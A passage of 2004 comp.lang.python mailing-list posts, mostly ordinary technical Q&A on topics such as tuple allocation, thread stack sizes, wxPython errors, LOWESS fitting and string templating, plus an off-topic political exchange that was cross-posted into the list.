of the class. At > least in a "debug" mode. What really did happen: the bug was reported > after the scrip was running for 30 minutes. PyCheck finds it > immediatelly. Why not to do the same kind of check in the interpreter? ... jumping in the discussion just to point out that you're now asking for something reasonable, while on your first message you were asking for the opposite -- to make the interpreter *less* restrict. It's no wonder people answered like that... BTW, the problem with pychecker, in my not-so-humble opinion, is that it may be regarded as slow, or a little too obstrusive for continuous usage. But that's my opinion anyway. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From steven.bethard at gmail.com Tue Sep 28 18:09:24 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 28 Sep 2004 22:09:24 +0000 (UTC) Subject: all pairs of items in a list without indexing? References: <20040928220043.GB11275@unpythonic.net> Message-ID: unpythonic.net> writes: > def all_pairs(L): > while L: > i = L.pop() > for j in L: yield i, j Interesting. I hadn't thought of this one -- it's not bad other than requiring the list copy (since I need to maintain the original list). Thanks, Steve From aleaxit at yahoo.com Mon Sep 6 17:52:43 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 23:52:43 +0200 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <9JmdnQkSR7m8e6rcRVn-sA@powergate.ca> Message-ID: <1gjptav.14nmw6g1vl4vedN%aleaxit@yahoo.com> Peter Hansen wrote: ... > Alex shows use of a generator... fine, but how do you > build the tuple without storing up the results of the > generator first somewhere else? You can't preallocate the You, programming in Python, can't, but the interpreter, internally, can -- because function _PyTuple_Resize (nor being directly callable from Pytjon) _CAN_ resize a tuple more efficiently than you imply: > space for the tuple if you don't know how long it will > be, but you have to preallocate the space for a tuple > (I believe, in the interpreter anyway, if not at the > programmer level) so you must therefore be storing the > entire output of the generator somewhere just prior > to the tuple creation: same problem as above. No problem at all -- if your available memory is in one chunk, the resize can work in place. (If your available memory is fragmented you can of course be hosed, since Python's can't move allocated blocks and thus can't compact things up to cure your fragmentation; but even when memory's tight it's not unusual for it to not be fragmented). > > I know Alex knows all this (or has some additional > info that I don't have and which he'll shortly provide), You don't have the sources of the Python interpreter? They're freely available for download, why would I need to provide them?! Anyway, just follow, with your C debugger or whatever (I think mere code inspection will be fine), what happens when you call x = tuple(someiterator()). Moreover, if the 'someiterator()' iterator can return a reasonable __len__, I believe Python 2.4 should now able to use that to estimate the needed length in advance for greater efficiency, but I haven't looked deeply into that, yet... indeed, some simple timeit.py tests suggest to me that 2.4 alpha 3 only implements that optimization to preallocate lists, not tuples. But even if so, that's clearly a matter of mere expediency, not one of any intrinsic problem as you make it sound. > so I can only assume he was reacting only to my poor > choice of wording with 'list' and/or was ignoring the > context of the discussion (memory usage). Claiming that you have to have all info in memory before a tuple can be built is simply wrong -- your previous claim that the info had to be in a list was even "wronger", sure, but that doesn't make your current weaker claims correct in the least. Alex From tchur at optushome.com.au Tue Sep 21 17:39:06 2004 From: tchur at optushome.com.au (Tim Churches) Date: 22 Sep 2004 07:39:06 +1000 Subject: Twisted Matrix - now a major motion picture In-Reply-To: References: Message-ID: <1095802746.1233.38.camel@emilio> This caused me some mirth: http://www.builderau.com.au/program/work/0,39024650,39131060,00.htm It also raises speculation about a hitherto overlooked genre of Pythonic cinematic works... -- Tim C PGP/GnuPG Key 1024D/EAF993D0 available from keyservers everywhere or at http://members.optushome.com.au/tchur/pubkey.asc Key fingerprint = 8C22 BF76 33BA B3B5 1D5B EB37 7891 46A9 EAF9 93D0 From http Mon Sep 6 01:25:24 2004 From: http (Paul Rubin) Date: 05 Sep 2004 22:25:24 -0700 Subject: view http info when browsing References: <56d498d9.0409051725.1c7d3258@posting.google.com> Message-ID: <7xoekk7yuz.fsf@ruckus.brouhaha.com> santoshamb at yahoo.com (ben) writes: > Does anybody know a good way of view the raw http? I always just use a proxy server for that. www.junkbuster.org has a free and convenient one that has options for logging the http stream. From kangell at alertra.com Wed Sep 29 13:24:20 2004 From: kangell at alertra.com (Kirby Angell) Date: Wed, 29 Sep 2004 12:24:20 -0500 Subject: Maximum number of threads In-Reply-To: References: <415abdaa$1_1@omega.dimensional.com> Message-ID: Jeremy Jones wrote: > > around 400 for FC2. I may be wrong, but I think Python relies on the > underlying OS threading libraries for everything threading related. > Which is probably why the recent change in either 2.2 or 2.3 for a dummy > threading module that simulates threading on systems that do not support > threading. I know my babbling isn't getting you any closer to a > solution..... > No, your babbling has gotten me much closer. I'm not sure what changed between Python 2.2 and Python 2.3, but the problem is the stack size allocated to each thread. Apparently with glibc on RH9 something along the order of 8 MB of virtual memory is allocated for the stack of each thread. 256 threads takes us to the virtual memory limit of the process itself. Glibc on FC2 must be using a different default stack size, or the virtual memory limit is higher; I've only recently started running FC2 on our test servers so I'm not sure which it is. The only way to change the stack size is to define THREAD_STACK_SIZE in the thread_pthread.h header. There is an ifdef for the Mac that sets this to 64k. Just as a test I forced THREAD_STACK_SIZE to that value and recompiled Python. I can now create 16k threads although I'm not sure yet whether our application will run; some tuning is probably in order. I'm going to get the 2.2 source code and see what is different between the two and maybe get an idea of what a reasonable stack size is. There is a very nice write-up on the basic issue here: http://www.kegel.com/stackcheck/ Thanks for your help. From jerf at jerf.org Sun Sep 19 12:58:07 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Sun, 19 Sep 2004 16:58:07 GMT Subject: Math errors in python References: Message-ID: On Sun, 19 Sep 2004 07:05:50 +0000, Chris S. wrote: > That's nonsense. My 7-year old TI-83 performs that calculation just > fine, No, it doesn't. Your calculator is lying to you because it (correctly in this case) expects that you want it to. You need to educate yourself on how computers do math before passing such uninformed judgments. http://www.apa.org/journals/psp/psp7761121.html From pf_moore at yahoo.co.uk Sat Sep 18 11:48:26 2004 From: pf_moore at yahoo.co.uk (Paul Moore) Date: Sat, 18 Sep 2004 16:48:26 +0100 Subject: Python binaries for Solaris, HP-UX References: Message-ID: Mathias Waack writes: > Paul Moore wrote: > >> I'm looking for binaries of Python (2.3.4, preferably) which run on >> Solaris and HP-UX. I need to be able to install them as a non-root >> user (hence, to a private directory, something like ~/bin). > > HP offers precompiled packages of free software at the DSPP pages: > http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,4682,00.html That installs to /usr/local, unfortunately. As I said, I need something that will install as an unprivileged user :-( I suspect that Sun's version is similar (ones I found via websearch certainly were). Thanks, Paul. -- It was a machine, and as such only understood one thing. Being clobbered with big hammers was something it could relate to. -- Tom Holt From richie at entrian.com Tue Sep 7 10:33:19 2004 From: richie at entrian.com (Richie Hindle) Date: Tue, 07 Sep 2004 15:33:19 +0100 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) In-Reply-To: References: <20040901221925.2128958333.EP@zomething.com> <1stv02-qlp.ln1@home.rogerbinns.com> Message-ID: [Peter] > I kinda like [cowbird] Here's a script for making more product names by combining two single-syllable words into one: import re, random words = open('/usr/share/dict/words', 'r').read().strip().lower().split() words = [w for w in words if not re.search(r'[aeiouy][^aeiouy]+[aeiouy]', w)] for i in range(10): print random.choice(words) + random.choice(words) This has given me the following projects to start work on ASAP: goalsleuth lustwhim floatmaps reactstep shillpro freshlight camworks diskshock snapgosh runless I haven't looked those up on SourceForge, but I bet most of them are there (at status Planning). -- Richie Hindle richie at entrian.com From clifford.wells at comcast.net Mon Sep 27 18:49:36 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Mon, 27 Sep 2004 15:49:36 -0700 Subject: Please Hlp with msg: "The C++ part of the StaticText object has been deleted" In-Reply-To: References: Message-ID: <1096325376.3154.63.camel@devilbox.devilnet.internal> On Sun, 2004-09-26 at 06:26 +0000, python newbie wrote: > Anyway, when I click on a node of this tree, I change the text of the > static text control at top, to the text of the node. It actually works, > but when I close the app I get this: > ---------------------------------------------- > The stack trace: > E:\MyProjects1\python\backup > Traceback (most recent call last): > File "E:\MyProjects1\python\backup\wxProject.py", line 294, in > OnNodeChanged > self.testLab.SetLabel('test') > File "C:\Python23\Lib\site-packages\wx\_core.py", line 10617, in > __getattr__ > raise PyDeadObjectError(self.attrStr % self._name) > wx._core.PyDeadObjectError: The C++ part of the StaticText object has been > deleted, attribute access no longer allowed. > --------------------------------------------- > > Here's how I add the wxStaticBox: ------------------------ > # ok, first, the code below is actually in this __init__ function > class main_window(wxFrame): > def __init__(self, parent, id, title): > wxFrame.__init__(self, parent, -1, title, size = (650, 500), > style=wxDEFAULT_FRAME_STYLE|wxNO_FULL_REPAINT_ON_RESIZE) > > # first the left panel > # ------------------- > self.MyLeftPanel = wxPanel(splitter,10004) #<--a random number I used Why a "random" number? Just use -1 or wxNewId() (and those are equivalent, FWIW) if you don't care about the id. Your approach is inherently unsafe, although I doubt it's the source of your problem. > # didn't want to use -1 > self.MyLeftPanel.SetDimensions(0, 0, 100, 220) > self.leftSizer=wxBoxSizer(wxVERTICAL) # the sizer is born > self.MyLeftPanel.SetSizer(self.leftSizer) > self.MyLeftPanel.SetAutoLayout(true) > > # then add the static text > # ------------------- > self.aNewID=wxNewId() > self.testLabel = wxStaticText(self.MyLeftPanel,self.aNewID,'test label') > self.leftSizer.Add(self.testLabel) > > > Here's how I code the event handler: ------------------ > > def OnNodeChanged(self,event): > item = self.tree.GetSelection() > if (self.tree.ItemHasChildren(item) == 0): > #self.testLabel.SetLabel(self.tree.GetItemText(item)) > self.testLabel.SetLabel('test') > # The commented-out line works too.. the static text does change > # to the static of the node --- very nice, if it weren't > # for the error when you close the app. > > Any suggestions would be great. I'm not sure where your error comes from (aside from obviously being the result of accessing a destroyed widget), but this will prevent the error message (a band-aid, more or less): if self.testLabel: self.testLabel.SetLabel('test') I'm guessing that OnNodeChanged gets called when the tree is destroyed, which may be after the StaticText is destroyed, which could be your problem (in which case the fix I provided is fine). I can't be certain of this since I have no idea what event triggers your event handler (but if it's EVT_TREE_DELETE_ITEM then my guess is probably correct. Regards, Cliff -- Cliff Wells From indrek.kruusa at tuleriit.ee Tue Sep 21 07:13:20 2004 From: indrek.kruusa at tuleriit.ee (Indrek Kruusa) Date: Tue, 21 Sep 2004 11:13:20 -0000 Subject: Telecom application... Message-ID: <4106629F.7030501@tuleriit.ee> Hi! I have wrote one simple piece of code - phone bill calculation - for comparing several scripting languages. You can find results from "Speed test" section at: http://www.tuleriit.ee/progs/index.php Please remember that these scripts are for comparing languages behavior and are not meant as good programming examples how to resolv particular problem. If there is something wrong with python code please let me know! I already know that there are some awful mistakes with perl script and the timings needs to be measured once again :) Thanks, Indrek From aleaxit at yahoo.com Fri Sep 24 03:12:05 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 24 Sep 2004 09:12:05 +0200 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> Message-ID: <1gkm0tv.1xasn1m14tgujgN%aleaxit@yahoo.com> Jack Diederich wrote: ... > Hmm, you could go with Daleth, the Hewbrew letter that means Door. Great suggestion. While daleth.org and daleth.com are taken, daleth.net is free, too. > A glance at the first google page shows no software with that moniker. > As a logo it isn't terribly sexy, but you could work on it (the current ?! It means (inter alia) Tarot Trump III, The Empress (Venus, Earth Mother, Demeter -- fertility, bounty, creativity -- Daughter of the Mighty Ones) -- there are renderings galore, and while of course many are quite chaste, finding sexy ones is the least of your problems!-) > ps, to any whackadoodles: no neocon conspiracy here, it just happens that > when I was young my parents sent me to a place called "a school" Heh, I may be out of the current US cultural picture, I guess, but I wouldn't particularly connect tarot and kabbalah to neocons... Alex From aleaxit at yahoo.com Thu Sep 9 04:19:27 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 10:19:27 +0200 Subject: Why is this legal? References: <2uK%c.21$pW.773@news.itd.umich.edu> Message-ID: <1gjucms.1tzu4a0192o1t1N%aleaxit@yahoo.com> Michael George Lerner wrote: ... > Heck, maybe I'll even download Python 2.4 so I can say > cluster.sort(key=lambda c: c.resi) Or better, cluster.sort(key=operator.attrgetter('resi')) This way it will really fly! Alex From aleaxit at yahoo.com Thu Sep 9 16:34:22 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 22:34:22 +0200 Subject: my own type in C, sequence protocol References: <87brgfb3jc.fsf@ten22.rhodesmill.org> Message-ID: <1gjvaep.4ckkohstz74tN%aleaxit@yahoo.com> Brandon Craig Rhodes wrote: ... > > You might want your type's init function to accept a > > sequence, to copy for an initial value, as in > > > > m = myType([1, 2, 3]) > > Note, however, that this requires Python to create a list with the > values 1, 2, and 3 in it; then pass that value to your init function; > and finally discard the list when the initializer has completed. Yeah, so? > Perhaps more efficient (maybe you could test both to compare the > expense?) would be for your initialization function to accept the new > sequence members as arguments themselves: > > m = myType(1, 2, 3) > > This way a list does not have to be created and destroyed, with all > the associated computation, each time you initialize a myType. Yeah, but a tuple (of arguments) still has to be. Sure, there IS a performance difference, but it's very small...: kallisti:~ alex$ python cb/timeit.py -s' > class mt: > def __init__(self, seq): self.seq=list(seq) > ' 'mt([ 1,2,3 ])' 100000 loops, best of 3: 9.52 usec per loop kallisti:~ alex$ python cb/timeit.py -s' class mt: def __init__(self, *seq): self.seq=list(seq) ' 'mt(1,2,3)' 100000 loops, best of 3: 8.38 usec per loop kallisti:~ alex$ You're not going to create enough instances to care about that microsecond's difference (and that's on a modest 800 MHz iBook G4 cheap laptop a year old...). To me, it seems very much like a case where design decisions should be based on clarity and simplicity, not on tiny performance advantages...! Alex From tjreedy at udel.edu Fri Sep 24 20:41:57 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 24 Sep 2004 20:41:57 -0400 Subject: Twisted Matrix - The Motion Picture References: Message-ID: "Magnus Lie Hetland" wrote in message news:slrncl8sdk.okj.mlh at furu.idi.ntnu.no... > In article , Tim > Churches wrote: >>Apologies if someone has already posted an item about this, > > Hm. Didn't *you* just post an item about it? At least it seems like it > in my newsreader... Several messages have been double-posted recently. This happens periodically. TJR From ialbert at mailblocks.com Fri Sep 10 14:53:59 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 10 Sep 2004 14:53:59 -0400 Subject: ANN: LOWESS fitting (python wrapper) Message-ID: Hello folks, I have recently needed to use lowess fitting in a project. I ended up using the C code from R by wrapping it as a python module. If you need such things have a look here: http://www.personal.psu.edu/staff/i/u/iua1/python/dist/ Windows binaries for python 2.3 are included in the library. In the meantime I found out that biopython has a lowess call, but that depends on Numeric. (It also does not seem to work properly. As far as I could tell, it was not returning correct values). cheers, Istvan. -------------- README ------------------ Lowess fitting for python, version 0.5 ====================================== ABOUT ----- Lowess stands for "locally weighted regression". For more information see: http://www.itl.nist.gov/div898/handbook/pmd/section1/pmd144.htm This module is a python wrapper around the lowess C code used in the R project. It exposes a single function used as: import lowess ys = lowess.fit(x=X, y=Y, F=F, NSTEPS=NSTEPS, DELTA=DELTA) that computes the smooth scatterplot of Y against X using robust locally weighted regression. The function returns the fitted values, computed at each of the values of the horizontal axis in X. Parameter description: X = abscissas of the points on the scatterplot; VERY IMPORTANT: the values in X must be ordered from smallest to largest! Y = ordinates of the points on the scatterplot. F = specifies the amount of smoothing; F is the fraction of points used to compute each fitted value; as F increases the smoothed values become smoother; choosing F in the range .2 to idea which value to use, try F = .5. NSTEPS = the number of iterations in the robust fit; if NSTEPS = 0, the nonrobust fit is returned; setting NSTEPS equal to 2 should serve most purposes. DELTA = nonnegative parameter which may be used to save computations. If let to the default value of 'None' DELTA will be esstmated as (max(X)-min(X))/50 For more information on the parameters see the lowess_readme.txt file. INSTALLATION ------------ On unix platforms SWIG is required. Type python setup.py build then python setup.py install On windows platforms copy the two files located in the win32 directory to your python path, usually to the c:\Python23\Lib\site-packages directory. TESTING ------- Run the runme.py file. LICENSE ------- GNU GPL as required by the R project: http://www.r-project.org/ From mwh at python.net Thu Sep 9 14:17:59 2004 From: mwh at python.net (Michael Hudson) Date: Thu, 9 Sep 2004 18:17:59 GMT Subject: Is except: ... pass bad style? References: Message-ID: marduk writes: > Based on all the responses received thus far, I thought of a way of > doing it without an exception: > > myobj.__dict__.get('method', lambda : None)() Uh, I'd say that's pretty unlikely to work. What's wrong with getattr()? Cheers, mwh -- wow. this code does something highly entertaining, but nowhere near correct -- from Twisted.Quotes From nid_oizo at yahoo.com_removethe_ Thu Sep 9 21:17:05 2004 From: nid_oizo at yahoo.com_removethe_ (Nicolas Fleury) Date: Thu, 09 Sep 2004 21:17:05 -0400 Subject: Is except: ... pass bad style? In-Reply-To: References: Message-ID: <4f70d.25277$sz2.371909@wagner.videotron.net> marduk wrote: > I commonly use code like this > > try: > # call optional method > myobj.method() > except AttributeError: > # no biggie > pass > The problem with that solution is that some code in method() might raise an AttributeError exception, and the code is broken. Using hasattr or getattr is definitely better. Regards, Nicolas From albalmer at att.net Fri Sep 10 14:41:50 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 10 Sep 2004 11:41:50 -0700 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> Message-ID: <23t3k09ivp173r2hqpqqfaj2uhvnmbllr3@4ax.com> On Fri, 10 Sep 2004 18:05:06 GMT, "Coby Beck" wrote: > >"Alan Balmer" wrote in message >news:3fh3k0tnumgcvdd89h8jbbnc2j92t97i76 at 4ax.com... >> Can you point to the international agreement which allows Canadian >> citizens to be thrown into US jails for the stated offense? > >It's probably in the same international agreement that allows citizens of >any country to be held incommunicado indefinitely in Guantanamo Bay. And >the same international agreement that allows Afgan and Iraqi POW's to be >imprisoned with no Geneva convention protection They are being treated under the Conventions, even though not legally entitled to such treatment. This was discussed in some depth quite a while ago - if you're really interested, check google groups. >and hidden from >International Red Cross. Not very well, apparently. The Red Cross found them. So did a bunch of lawyers. You apparently haven't been keeping up. Those DNC talking points have been obsolete for a while now. > Do you really think the Bush administration cares >about international agreements? Yes. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From winexpert at hotmail.com Mon Sep 20 12:20:40 2004 From: winexpert at hotmail.com (David Stockwell) Date: Mon, 20 Sep 2004 16:20:40 +0000 Subject: some basic questions... Message-ID: Hi Player, For the second part, I tend to think of the self as a reference to an object thats sitting on a stack somewhere. With python you don't have to worry about the stack at all, instead you just use the 'self' to navigate the stack. in your example, it would be done this way if _name == '_main_': myGame = Application() myGame.run() the object 'myGame' becomes what self refers to when run wants to do something with 'self' (You write the code, etc). Instantiating Application places that object on the stack. Then the rest of your program is relative to that stack object. I think you could have also done: if _name_ == '_main_': Application().run() But I've never done that. -------------------------------------- David ------- Surf a wave to the future with a free tracfone http://cellphone.duneram.com/index.html >From: "Player" >To: python-list at python.org >Subject: some basic questions... >Date: Mon, 20 Sep 2004 17:05:13 +0100 > >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >Hello > > I am teaching myself python, and I have gotten a long way, it's quite a >decent language and the syntax is great :) > >However I am having a few, "problems" shall we say with certain conventions >in python. > >In the book I am using to teach me more of the inner working of python, and >further into python that the basic tutorials go, there is this wording >below... > >[book quote] >When a file containing python code is executed, the built in variable >_name_ >is populated with the name of the module being executed. If the value of >_name_ is _main_, then that file is the original file that was used to >invoke the application from command line or an icon. >This is usefull, as it allows code to know the difference between when it >is >invoked & when it is imported by another python program. It is also >provides >a convenient place to provide one-time startup code. >[end quote] > >Can someone explain this in some different wording, because I dn't know if >my understanding of what is said in that paragraph is right or not? > >ALSO >Below is some example of some code, for use with python and PyGame and >PyUI, >that I would like to ask a question about.. > >import pyui > >class Application: > def _init_(self, width, height): > self.width = width > self.height = height > > def run(self): > """I am called to begin the Application or game. > """ > > def run() > width = 800 > height = 600 > pyui.init(width, height) > app= Application(width, height) > app.run() > > if _name == '_main_': > run() > >Now I no that this code declares an Application class, and then invokes a >run method to create an instance of that class. Then the Application >cobject >then uses the run method called to start the main loop. > >Which basically created a game window of size 800 by 600. > >What I don't understand is the, "self" bit of the two top functions. > >Can somebody explain what the, "self" is actually for?? > >Thanks ina dvance :) > >Player > > > > >- -- >************* >The Imagination may be compared to Adam's dream- >he awoke and found it truth. >John Keats. >************* >-----BEGIN PGP SIGNATURE----- >Version: PGP 8.0 > >iQA/AwUBQU7/ty/z2sM4qf2WEQJRrQCguAtRwDQ6UfFRXDGZ63DDjWdnID0AmwX3 >4K3iWiybh9BEKPh9b2h0m9Tr >=0niY >-----END PGP SIGNATURE----- > > >-- >http://mail.python.org/mailman/listinfo/python-list _________________________________________________________________ FREE pop-up blocking with the new MSN Toolbar ? get it now! http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ From alexis.roda at urv.es Wed Sep 8 12:30:09 2004 From: alexis.roda at urv.es (Alexis Roda) Date: Wed, 08 Sep 2004 18:30:09 +0200 Subject: Using Python to generate code? In-Reply-To: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> References: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> Message-ID: <413F3391.3000607@urv.es> Alex Martelli wrote: >>output=string.replace(output,"$VAR",varName) >>output=string.replace(output,"$START",varName1) >>output=string.replace(output,"$END",varName2) >> >>Obviously, this can be enhanced. >>(use other conventions than $identifier, and performing the substitution >>in a loop). >>BTW: I am not sure string.replace works OK as shown here. > > > Yep, though output.replace(...) would be neater. But the best > replacement is already in the Python 2.4 standard library: it uses > exactly the $identifier convention, and takes a dictionary of mapping of > identifier to string...: > > In [4]: tpl=string.Template('for ($VAR = 1, $VAR < $START, $VAR < > $END)') > > In [5]: tpl % dict(VAR='foo', START='bar', END='baz') > Out[5]: u'for (foo = 1, foo < bar, foo < baz)' > > In [6]: tpl % dict(VAR='fee', START='fie', END='fofum') > Out[6]: u'for (fee = 1, fee < fie, fee < fofum)' If you are not contrained to using $ identifiers: d={'var':'foo', 'start':1, 'end': 100} 'for (%(var)s = %(start)i; %(var)s < %(end)i; %(var)s++)' % d -> 'for (foo = 1; foo < 100; foo++)' Regards -- //// (@ @) ----------------------------oOO----(_)----OOo-------------------------- <> Ojo por ojo y el mundo acabara ciego /\ Alexis Roda - Universitat Rovira i Virgili - Reus, Tarragona (Spain) ----------------------------------------------------------------------- From rpw3 at rpw3.org Fri Sep 3 00:06:52 2004 From: rpw3 at rpw3.org (Rob Warnock) Date: Thu, 02 Sep 2004 23:06:52 -0500 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <874qmgifgy.fsf@thalassa.informatimago.com> <1094158110.307899@teapot.planet.gong> Message-ID: Rupert Pigott wrote: +--------------- | Pascal Bourguignon wrote: | > In anycase, at the time the Macintosh appeared, there were | > already 680x0 based unix workstations. | | It was specifically the 68000. Fixes were made that took effect in the | 68010 and 68020. Dunno about 68008. IIRC the problem was that you could | not restart some instructions properly. Some UNIX workstations did use | 68Ks, there was an Apollo that had two of them running in lock-step, | with one of them one instruction behind the other. When the leading CPU | barfed, action would be taken and the other CPU would take over. Someone | in comp.arch worked on the Fortune boxes and IIRC he claimed they had a | more elegant single CPU solution. +--------------- That would have been me, in , replying to John Mashey. We tweaked the C compiler's calling conventions enough to allow automatic stack growth by faulting off the end of the stack to work reliably. See the referenced article for more detail. But as I finished there: Though there were certainly other places where the mc68000's imprecise exceptions left no choice but to blow the offending process away... -Rob ----- Rob Warnock 627 26th Avenue San Mateo, CA 94403 (650)572-2607 From xnews2 at fredp.lautre.net Mon Sep 13 10:36:29 2004 From: xnews2 at fredp.lautre.net (Fred Pacquier) Date: 13 Sep 2004 14:36:29 GMT Subject: Annotatable Python docs -- now a reality !!! References: Message-ID: Michael Hudson said : > He also posted about it here last week! > (n7SdnZtMDYiO_N3cRVn-iw at speakeasy.net). Well I, for one, had missed that first annoucement, so thanks to Steve for the repeat ! I trust it will also appear in the next weekly DrDobbs/Python URL... -- YAFAP : http://www.multimania.com/fredp/ From peter at engcorp.com Tue Sep 14 21:00:42 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 21:00:42 -0400 Subject: comparing datetime with date In-Reply-To: <41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au> References: <41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Message-ID: Graeme Matthew wrote: >>>>str(y) > '2004-09-14 06:43:15' >>>>str(x) > '2004-09-14' > Even though there string values are different they still match? > > If we perform a CRC (Cyclic Redundancy Check) i.e compute a one way hash: > > import binascii > >>>>crc_x = binascii.crc32(str(x)) >>>>crc_y = binascii.crc32(str(y)) >>>>print crc_x == crc_y > > False > > So this confirms that there values do differ yet a comparision using == > returns True? I'm unclear why you think this binascii.crc32 stuff has anything to do with anything. The strings are different, as you showed. Ignoring collisions (which would be rare) two different strings are going to have different CRC32 values. Did you confuse yourself somewhere along the way? (Now if the CRC values for those two strings were the same, *that* would indeed be interesting.) -Peter From john at grulic.org.ar Tue Sep 7 09:23:04 2004 From: john at grulic.org.ar (John Lenton) Date: Tue, 7 Sep 2004 10:23:04 -0300 Subject: run a python script located on linux from a windows computer In-Reply-To: <2cbc7d61.0409070012.3b163cc@posting.google.com> References: <2cbc7d61.0409070012.3b163cc@posting.google.com> Message-ID: <20040907132304.GC21637@grulic.org.ar> On Tue, Sep 07, 2004 at 01:12:04AM -0700, jacques wrote: > > i have a computer with redhat linux. on this computer i have some > python scripts i want to run. i don't want to run them with linux but > with windows. so i have a second computer (win) with python installed. > how can i lauch the script on the linux? > > python myscript.py 192.168.1.1 ? there are several ways to read your question; one (which is still slightly ambiguous) is 'how can I have a script executed on the linux computer from a script running on the windows computer?'. There are several ways of doing this, but probably the easyest is running some kind of RPC server on the linux box, and having the windows box be a client of same. Possibly the easyest way to do this is with pyro. -- John Lenton (john at grulic.org.ar) -- Random fortune: I will not say that women have no character; rather, they have a new one every day. -- Heine -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From hjeet_in at yahoo.com Tue Sep 28 12:13:17 2004 From: hjeet_in at yahoo.com (JEET) Date: Tue, 28 Sep 2004 17:13:17 +0100 (BST) Subject: Using python to convert PDF document to MSWord documents Message-ID: <20040928161317.88987.qmail@web8401.mail.in.yahoo.com> Hello All, Can anyone please suggest me if there any python modules available to convert PDF document to MSWord documents. If not then can you please suggest how can i acheive this. Many thanks in advance, Regards Deb Yahoo! India Matrimony: Find your life partneronline. -------------- next part -------------- An HTML attachment was scrubbed... URL: From aleaxit at yahoo.com Fri Sep 24 03:18:20 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 24 Sep 2004 09:18:20 +0200 Subject: Why not FP for Money? References: <10l0lpt9n0n5k9c@news.supernews.com> <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com> <7xwtykdy88.fsf@ruckus.brouhaha.com> Message-ID: <1gkm1q8.s0ybmt1g0s95dN%aleaxit@yahoo.com> Paul Rubin wrote: ... > Lots of currency symbols are suffixed (3.52 DM) instead of prefixed. > How about $ as a suffix? Once you're going suffix, you could dispense with the horrid ambiguity of '$' (which might play havoc with values if a program is ever moved across, say, the US/Canada border;-) and go for the unambiguous standard three-letter suffixes, such as USD, EUR, &c...;-) Alex From fredrik at pythonware.com Fri Sep 24 10:15:11 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 24 Sep 2004 16:15:11 +0200 Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> Message-ID: David Pokorny wrote: > Has it been discussed whether it would be a good idea to issue a warning in > this case? It strikes me that a warning wouldn't bother veteran programmers, > since it is really easy to avoid using a mutable default value (nearly > trivial to modify code that does use mutable default values). I'd imagine it > makes code more readable too. 1) you cannot tell if an object is mutable or not 2) there are lots of valid uses for object binding (see the "This feature can be useful" part in the FAQ for one example) From scook at elp.rr.com Sat Sep 4 18:54:10 2004 From: scook at elp.rr.com (Stan Cook) Date: Sat, 04 Sep 2004 22:54:10 GMT Subject: Dbase Connection References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com><20040904174801.07582.00000186@mb-m11.aol.com> Message-ID: Thanks Julio. I'll give it a look. Stan "Julio O?a" wrote in message news:mailman.2882.1094337438.5135.python-list at python.org... > On Sat, 04 Sep 2004 22:29:27 GMT, Stan Cook wrote: > > I want to open it with Python. If that's possible. > > > Stan, > > There are some information out there, maybe one of these links could help you. > > Regards. > > http://py.vaults.ca/apyllo2.py/96891420 > http://cwashington.netreach.net/depo/view.asp?Index=102&ScriptType=python > http://www.garshol.priv.no/download/software/python/ > > -- > Julio From claird at lairds.us Thu Sep 23 10:08:11 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 23 Sep 2004 14:08:11 GMT Subject: Don't let your babies grow up to be programmers (was: up with PyGUI!) References: <1095378815.31957.166.camel@devilbox.devilnet.internal> Message-ID: In article , Cliff Wells wrote: . [long lament about loss of good life for US programmers] . . >This may be so. Of course I expect the U.S. job market for software >development will be gone by then (or simply seen as a good first job for >students before they can get a better job at Walmart). > >> I also expect increasing numbers of US knowledge/information >> workers with portable skills to take advantage of the distortions while >> they last. > >Well, I've certainly considered other lines of work, if that's what you >mean. . . . It's worse than that, Cliff: there's serious reason to fear that non-price factors might soon work *against* us in the US, almost as much as they have for us in the past. I see this running along a couple of lines: *) "security"-related and DRM-IP-enforcing export restrictions directly interfere with our ability to deliver internation- ally; and *) MS hasn't been alone in habituating international customers to associate US software with expense and unreliability. From eric_brunel at despammed.com Tue Sep 